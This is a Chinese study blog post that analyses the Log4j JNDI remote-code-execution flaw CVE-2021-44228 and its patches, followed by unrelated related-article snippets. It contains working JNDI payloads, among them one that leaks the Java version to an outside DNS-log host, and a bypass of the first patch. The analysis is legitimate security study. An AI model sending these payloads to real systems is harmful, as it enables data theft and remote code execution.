log4j漏洞学习

log4j漏洞学习

  • 总结
  • 基础知识
      • 属性占位符之Interpolator(插值器)
      • 模式布局
      • 日志级别
  • Jndi RCE CVE-2021-44228
    • 环境搭建
    • 漏洞复现
    • 代码分析
        • 日志记录/触发点
        • 消息格式化
    • Lookup 处理
    • JNDI 查询
    • 触发条件
    • 敏感数据带外
    • 漏洞修复
      • MessagePatternConverter类
      • JndiManager#lookup
      • rce1绕过

总结

其实学完之后回过头造成漏洞的原理就是Log4j引入了lookup接口原本的目的是来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
而恶意利用离不开我们的第一就是我们log4j输出内容的时候会去格式化,这里就会涉及到一个convert和format的过程,就会调用我们的MessagePatternConverter类,它会去识别我们的{jndi:…}这部分,然后交给lookup处理,而这部分主要是由我们的JndiManager负责的,它使用了InitialContext来构建了上下文导致了jndi的注入

基础知识

首先搭建一个环境

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>
</dependencies>

在工程目录resources下创建log4j2.xml配置文件

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
    <appenders>
<!--        配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
        <Console name="Console" target="SYSTEM_OUT" >
<!--            配置Console的模式布局-->
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
        </Console>
    </appenders>
    <loggers>
        <root level="error">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

测试代码
og4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j2Rce2 {
    private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
    public static void main(String[] args) {
        String a="${java:os}";
        logger.error(a);
    }
}

属性占位符之Interpolator(插值器)

这是什么东西呢?其实理解为我们linux里面的环境变量就好了,log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map<String,StrLookup>的方式则封装了多个StrLookup对象

在这里插入图片描述
这些实现类存在于org.apache.logging.log4j.core.lookup包下,当参数占位符 p r e f i x : k e y 带有 p r e f i x 前缀时, I n t e r p o l a t o r 会从指定 p r e f i x 对应的 S t r L o o k u p 实例中进行 k e y 查询。当参数占位符 {prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符 prefix:key带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符{key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value

模式布局

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。

而我们的漏洞就是出现在转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理中,MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

在这里插入图片描述
级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。

log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候
,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200

Jndi RCE CVE-2021-44228

环境搭建

为了便于分析,我们就使用上面的那个环境,但是需要修改代码

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

    public static void main(String[] args) {

        Logger logger = LogManager.getLogger(Log4jTEst.class);

        logger.error("${jndi:rmi://64c8bb6d.dnslog.biz.}");

    }
}

漏洞复现

按道理来说复现是需要我们搭建一个rmi的,但是我知识分析这个逻辑,就简单的用dns来证明有漏洞

在这里插入图片描述

代码分析

先给出调用栈,能够对过程有更好的理解

lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, Log4jTEst

AbstractLogger.error: 在你的代码中,这个方法被调用来记录一个错误级别的日志。
AbstractLogger.logIfEnabled: 这个方法检查是否启用了对应的日志级别,如果启用了,则继续进行日志记录。
AbstractLogger.logMessage: 这个方法会调用MessageFactory来创建一个日志消息(LogEvent)。
Logger.log 和 LoggerConfig.log: 这些方法处理日志事件,包括日志级别的检查,以及将日志事件传递给所有的Appender来进行处理。
AppenderControl.callAppender: 这个方法将日志事件发送给相应的Appender。在这个例子中,可能是一个ConsoleAppender(控制台输出)或者是一个FileAppender(文件输出)。
AbstractOutputStreamAppender.append: 这个方法将日志事件写入到指定的输出流中,比如控制台或者文件。
PatternLayout.encode: 这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
MessagePatternConverter.format: 这个方法将日志事件中的数据按照特定的模式进行格式化,比如日期,日志级别,日志信息等。
StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。

当然我们重点分析的只有

lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender 
日志记录/触发点

通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象

在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。

消息格式化

这里也是我们的重点,我们从
PatternLayout.encode开始分析,这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。

toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout 

PatternLayout.encode: 这个方法将转换为文本的日志事件编码为字节数组,然后写入到输出流中。这个方法可能会进行一些额外的处理,比如添加换行符或者其他的分隔符。

PatternLayout.toText: 这个方法将序列化的日志事件转换为纯文本。在大多数情况下,由于日志事件已经被转换为字符串,所以这个方法可能只是简单地返回传入的字符串。

PatternLayout$PatternSerializer.toSerializable: 这个方法将日志事件转换为一个可以序列化的对象,通常是一个字符串。这个方法使用预先定义的模式(Pattern)来格式化日志事件的各个部分,比如日期、级别、消息内容等。

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
            final int len = formatters.length;
            for (int i = 0; i < len; i++) {
                formatters[i].format(event, buffer);
            }
            if (replace != null) { // creates temporary objects
                String str = buffer.toString();
                str = replace.format(str);
                buffer.setLength(0);
                buffer.append(str);
            }
            return buffer;
        }

它会调用 formatters[i].format(event, buffer);方法,而我们的 formatters之一就有我们的org.apache.logging.log4j.core.pattern.MessagePatternConverter

在这里插入图片描述跟进它的format方法

在这里插入图片描述会对我们特殊字符进行一个判断截取,就是获取我们的value部分

在这里插入图片描述

此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是 符号,也就是说 符号,也就是说 符号,也就是说{jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串

resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)

StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。

Lookup 处理

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。在这里插入图片描述处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。
在这里插入图片描述

本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi

JNDI 查询

Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。
JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例,如下图:

在这里插入图片描述可以看到是创建了一个新的 InitialContext 实例,并作为参数传递用来创建 JndiManager,这个 Context 被保存在成员变量 context 中:

我们要触发jndi,就是要触发 InitialContext的lookup方法

JndiManager#lookup 方法则调用 this.context.lookup() 实现 JNDI 查询操作。

在这里插入图片描述

触发条件

通过对上面的代码分析,触发条件我们要看得到信息,那就得把我们的日志打印出来,

这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。
在这里插入图片描述当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
在这里插入图片描述在这里插入图片描述跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

在这里插入图片描述
而这里日志优先级数值小于等于200的就只有”error”、”fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了

敏感数据带外

有时候我们并不能进行反弹shell哪些操作,我们可以尝试外带敏感的信息,比如java版本

"${jndi:ldap://${java:version}.2lnhn2.ceye.io}"

利用dns的解析去外带,因为它会先把内层的解析,再去解析外层

漏洞修复

MessagePatternConverter类

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前
在这里插入图片描述
修改后在这里插入图片描述
在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的

在这里插入图片描述可以看到并没有对传入的数据的“${”符号进行判断并特殊处理,所以利用这个合理的规避了我们的漏洞

JndiManager#lookup

第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;
                    }

可以看到如果你是ldap开头的话,我们就需要
在这里插入图片描述就回去判断请求的host,也就是请求的地址,白名单内容如下所示
在这里插入图片描述
可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}
如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

在这里插入图片描述这里要求javaFactory为空,否则就会返回”Referenceable class is not allowed for xxxxxx”的错误
在这里插入图片描述

但是这个没有return,程序会继续执行
也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

rce1绕过

那它是不是废弃了我们这个lookup功能呢?

并没有
开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

在这里插入图片描述
所以如果我们如果convert的时候利用LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法

但是这个绕过吧。。。。也不算绕过
就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能

参考su18师傅

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/710610.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

15. STUN协议和ICE工作原理

NET介绍 NAT是一种地址转换技术&#xff0c;它可以将IP数据报文头中的IP地址转换为另一个IP地址&#xff0c;并通过转换端口号达到地址重用的目的。 在大多数网络环境中&#xff0c;我们都需要通过 NAT 来访问 Internet。 NAT作为一种缓解IPv4公网地址枯竭的过渡技术&#xff…

[C++]使用C++部署yolov10目标检测的tensorrt模型支持图片视频推理windows测试通过

【测试通过环境】 vs2019 cmake3.24.3 cuda11.7.1cudnn8.8.0 tensorrt8.6.1.6 opencv4.8.0 【部署步骤】 获取pt模型&#xff1a;https://github.com/THU-MIG/yolov10训练自己的模型或者直接使用yolov10官方预训练模型 下载源码&#xff1a;https://github.com/laugh12321/yol…

五、Nginx配置文件-server模块

目录 一、概述 二、虚拟主机设置的三种形式 1、基于端口号配置 2、基于域名配置 3、基于ip配置 三、常用参数 1、listen 2、server_name 3、location 3.1、常见的Nginx正则表达式 3.2、location正则&#xff1a; 3.3示例 4、root 5、index 6、error_page 7、deny…

长亭培训加复习安全产品类别

下面这个很重要参加hw时要问你用的安全产品就有这个 检测类型产品 偏审计 安全防御类型 EDR类似于杀毒软件 安全评估 任何东西都要经过这个机械勘察才能上线 安全管理平台 比较杂 比较集成 审计 漏扫 评估 合在这一个平台 也有可能只是管理 主机理解为一个电脑 安了终端插件…

LLM资料大全:文本多模态大模型、垂直领域微调模型、STF数据集、训练微调部署框架、提示词工程等

前言 自ChatGPT为代表的大语言模型&#xff08;Large Language Model, LLM&#xff09;出现以后&#xff0c;由于其惊人的类通用人工智能&#xff08;AGI&#xff09;的能力&#xff0c;掀起了新一轮[自然语言处理]领域的研究和应用的浪潮。尤其是以ChatGLM、LLaMA等平民玩家都…

SM5101 SOP-8 充电+触摸+发执丝控制多合一IC触摸打火机专用IC

SM5101 SOP-8 2.7V 涓流充电 具电池过充过放 触摸控制 发热丝电流控制多功能为一体专用芯片 昱灿-海川 SM5101 SOP-8 充电触摸发执丝控制多合一IC触摸打火机方案 &#xff01;&#xff01;&#xff01; 简介&#xff1a; SM5101是一款针对电子点烟器的专用芯片&#xff0c;具…

阻塞IO、非阻塞IO、IO复用的区别 ?(非常详细)零基础入门到精通,收藏这一篇就够了

前言 在《Unix网络编程》一书中提到了五种IO模型&#xff0c;分别是&#xff1a;阻塞IO、非阻塞IO、IO复用、信号驱动IO以及异步IO。本篇文章主要介绍IO的基本概念以及阻塞IO、非阻塞IO、IO复用三种模型&#xff0c;供大家参考学习。 一、什么是IO 计算机视角理解IO: 对于计…

苹果电脑装虚拟机和双系统的区别 苹果笔记本虚拟机和双系统哪个好 虚拟机能装MacOS吗 虚拟机类似的软件

Mac电脑用户在需要使用Windows操作系统的软件时&#xff0c;通常会面临两个选择&#xff1a;安装双系统或使用虚拟机。两种方式各有优缺点&#xff0c;适用于不同的使用场景。本文将详细分析和说明Mac电脑装双系统和虚拟机之间的区别&#xff0c;帮助用户选择最适合自己的方案。…

UnityAPI学习之协程原理与作用

协程的原理与作用 Unity 协程(Coroutine)原理与用法详解_unity coroutine-CSDN博客 using System.Collections; using System.Collections.Generic; using UnityEngine;public class NO14_coroutine : MonoBehaviour {Animator animator;// Start is called before the first…

Qt MaintenanceTool.exe使用镜像源更新Qt

环境&#xff1a;Windows11&#xff0c;Qt6.5&#xff0c;新版的MaintenanceTool.exe linux环境类似&#xff0c;mac环境可以看官方文档。 cmd命令窗口&#xff1a;切换到MaintenanceTool.exe所在目录&#xff0c;可以用“D:”切换到D盘&#xff0c;“cd xxxx”切换到xxxx目录…

护眼台灯哪个品牌更好?五款市面主流的护眼台灯款式分享

近年来&#xff0c;护眼台灯的研发和创新不断推进&#xff0c;一些台灯配备了智能化功能&#xff0c;如定时开关机、自动调节光线等&#xff0c;使孩子们能够更好地控制用眼时间和光线环境。护眼台灯哪个品牌更好&#xff1f;一些高端的护眼台灯还采用了纳米光滤镜技术&#xf…

深度学习实战P10车牌识别

>- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营](https://mp.weixin.qq.com/s/0dvHCaOoFnW8SCp3JpzKxg) 中的学习记录博客** >- **&#x1f356; 原作者&#xff1a;[K同学啊](https://mtyjkh.blog.csdn.net/)** 引言 学习目标 一、前期准备 1.设置GPU …

强化RAG:微调Embedding还是LLM?

为什么我们需要微调&#xff1f; 微调有利于提高模型的效率和有效性。它可以减少训练时间和成本&#xff0c;因为它不需要从头开始。此外&#xff0c;微调可以通过利用预训练模型的功能和知识来提高性能和准确性。它还提供对原本无法访问的任务和领域的访问&#xff0c;因为它…

​​Vitis HLS 学习笔记--添加 RTL 黑盒函数

目录 1. 简介 2. 用法详解 2.1 需要的文件 2.1.1 RTL 函数签名 2.1.2 黑盒 JSON 描述文件 2.1.3 RTL IP 文件 2.2 操作步骤 3. 总结 1. 简介 Vitis HLS 工具可以将现有的 Verilog RTL IP&#xff08;即硬件描述语言编写的模块&#xff09;集成到 C/C HLS 项目中。通过…

短剧分销小程序:影视产业链中的新兴力量

一、引言 在数字化浪潮的推动下&#xff0c;影视产业正迎来一场深刻的变革。短剧分销小程序作为这场变革中的新兴力量&#xff0c;正以其独特的魅力和价值&#xff0c;逐渐在影视产业链中崭露头角。本文将探讨短剧分销小程序在影视产业链中的新兴地位、其带来的变革以及未来的…

Transformer系列:图文详解Decoder解码器原理

从本节开始本系列将对Transformer的Decoder解码器进行深入分析。 内容摘要 Encoder-Decoder框架简介shifted right移位训练解码器的并行训练和串行预测解码器自注意力层和掩码解码器交互注意力层和掩码解码器输出和损失函数 Encoder-Decoder框架简介 在原论文中Transformer用…

LeetCode-2779. 数组的最大美丽值【数组 二分查找 排序 滑动窗口】

LeetCode-2779. 数组的最大美丽值【数组 二分查找 排序 滑动窗口】 题目描述&#xff1a;解题思路一&#xff1a;滑动窗口与排序解题思路二&#xff1a;0解题思路三&#xff1a;0 题目描述&#xff1a; 给你一个下标从 0 开始的整数数组 nums 和一个 非负 整数 k 。 在一步操…

【嵌入式】一种优雅的 bootloader 跳转APP 的方式

【嵌入式】一种优雅的 bootloader 跳转APP 的方式 0. 个人简介 && 授权须知1. 前言2. 干净的跳转3.程序的 noinit 段4. 利用noinit段实现优雅的跳转4.1 检查栈顶地址是否合法4.2 栈顶地址 44.3 __set_MSP 5.OTA 过后的运行逻辑 0. 个人简介 && 授权须知 &#…

MongoDB 多层级查询

多层级查询 注意&#xff1a;要注意代码顺序 查询层级数据代码放前面&#xff0c;查询条件放后面 if (StringUtils.isBlank(params.getDocType())) {params.setDocType(DOC_TDCTYPE);}String docName mapper.findByDocInfo(params.getDocType());List<ExpertApprovalOpin…

怎么把Rmvb改成mp4格式?把rmvb改成MP4格式的四种方法

怎么把Rmvb改成mp4格式&#xff1f;在当今的数字时代&#xff0c;视频文件格式的多样性给我们带来了巨大的便利&#xff0c;但也可能带来一些兼容性的问题。rmvb是一种曾经非常流行的视频文件格式&#xff0c;主要由于其较高的压缩效率和相对不错的画质。然而&#xff0c;随着技…